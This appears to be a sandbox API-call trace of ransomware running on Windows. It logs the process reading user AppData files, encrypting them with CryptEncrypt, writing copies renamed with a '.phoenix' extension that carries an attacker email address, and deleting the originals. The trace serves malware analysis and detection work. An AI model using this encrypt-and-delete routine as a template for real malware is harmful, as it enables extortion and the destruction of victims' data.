	[0265.950] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x282, lpOverlapped=0x0) returned 1
	[0266.003] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x290, dwBufLen=0x290 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x290) returned 1
	[0266.003] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x290, lpOverlapped=0x0) returned 1
	[0266.004] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0266.004] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.004] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0266.004] CryptDestroyKey (hKey=0x151640) returned 1
	[0266.004] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0266.005] CryptDestroyKey (hKey=0x151600) returned 1
	[0266.005] CloseHandle (hObject=0x2c0) returned 1
	[0266.005] CloseHandle (hObject=0x304) returned 1
	[0266.005] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\ngentask.exe.log")) returned 1
	[0266.006] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0266.006] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\ngentask.exe.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.013] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=517) returned 1
	[0266.013] CloseHandle (hObject=0x304) returned 1
	[0266.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\ngentask.exe.log")) returned 0x20
	[0266.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\ngentask.exe.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.014] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\ngentask.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.014] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.015] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.015] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\ngentask.exe.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.018] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151100) returned 1
	[0266.018] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.018] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x205, lpOverlapped=0x0) returned 1
	[0266.021] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x210, dwBufLen=0x210 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x210) returned 1
	[0266.021] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x210, lpOverlapped=0x0) returned 1
	[0266.022] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1512c0) returned 1
	[0266.022] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.022] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0266.022] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0266.022] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0266.022] CryptDestroyKey (hKey=0x151100) returned 1
	[0266.022] CloseHandle (hObject=0x2e8) returned 1
	[0266.022] CloseHandle (hObject=0x2b0) returned 1
	[0266.022] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\ngentask.exe.log")) returned 1
	[0266.023] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0266.023] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\forms\\frmcache.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.024] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=245980) returned 1
	[0266.024] CloseHandle (hObject=0x2b0) returned 1
	[0266.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\forms\\frmcache.dat")) returned 0x20
	[0266.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\forms\\frmcache.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.024] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\forms\\frmcache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.024] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.024] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.025] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\forms\\frmcache.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.025] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151100) returned 1
	[0266.025] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.025] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x3c0dc, lpOverlapped=0x0) returned 1
	[0266.076] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3c0e0, dwBufLen=0x3c0e0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3c0e0) returned 1
	[0266.077] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x3c0e0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x3c0e0, lpOverlapped=0x0) returned 1
	[0266.080] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1517c0) returned 1
	[0266.081] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.081] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0266.081] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0266.081] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0266.081] CryptDestroyKey (hKey=0x151100) returned 1
	[0266.081] CloseHandle (hObject=0x2b0) returned 1
	[0266.081] CloseHandle (hObject=0x2e8) returned 1
	[0266.081] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\forms\\frmcache.dat")) returned 1
	[0266.083] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0266.083] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4LS1F.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4ls1f.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.084] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=460) returned 1
	[0266.084] CloseHandle (hObject=0x2e8) returned 1
	[0266.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4LS1F.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4ls1f.dat")) returned 0x20
	[0266.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4LS1F.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4ls1f.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.084] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4LS1F.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4ls1f.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.085] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.085] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.085] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4LS1F.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4ls1f.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.085] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151180) returned 1
	[0266.085] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.085] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1cc, lpOverlapped=0x0) returned 1
	[0266.086] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0) returned 1
	[0266.086] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.087] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151600) returned 1
	[0266.087] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.087] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0266.087] CryptDestroyKey (hKey=0x151600) returned 1
	[0266.087] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0266.119] CryptDestroyKey (hKey=0x151180) returned 1
	[0266.119] CloseHandle (hObject=0x2e8) returned 1
	[0266.119] CloseHandle (hObject=0x2b0) returned 1
	[0266.120] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4LS1F.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4ls1f.dat")) returned 1
	[0266.121] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0266.121] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4NNS1.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4nns1.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.121] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=463) returned 1
	[0266.121] CloseHandle (hObject=0x2b0) returned 1
	[0266.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4NNS1.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4nns1.dat")) returned 0x20
	[0266.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4NNS1.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4nns1.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.121] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4NNS1.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4nns1.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.121] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.121] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.122] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4NNS1.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4nns1.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.122] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0266.122] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.122] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1cf, lpOverlapped=0x0) returned 1
	[0266.123] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0) returned 1
	[0266.123] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.124] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151340) returned 1
	[0266.124] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.124] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0266.124] CryptDestroyKey (hKey=0x151340) returned 1
	[0266.124] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0266.134] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0266.134] CloseHandle (hObject=0x2b0) returned 1
	[0266.134] CloseHandle (hObject=0x2e8) returned 1
	[0266.134] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4NNS1.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4nns1.dat")) returned 1
	[0266.135] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0266.135] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH537C2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh537c2.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.138] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=459) returned 1
	[0266.138] CloseHandle (hObject=0x2b0) returned 1
	[0266.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH537C2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh537c2.dat")) returned 0x20
	[0266.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH537C2.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh537c2.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.138] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH537C2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh537c2.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.138] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.138] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.138] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH537C2.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh537c2.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.141] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151600) returned 1
	[0266.141] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.141] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1cb, lpOverlapped=0x0) returned 1
	[0266.142] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0) returned 1
	[0266.142] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.142] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151100) returned 1
	[0266.142] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.143] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0266.143] CryptDestroyKey (hKey=0x151100) returned 1
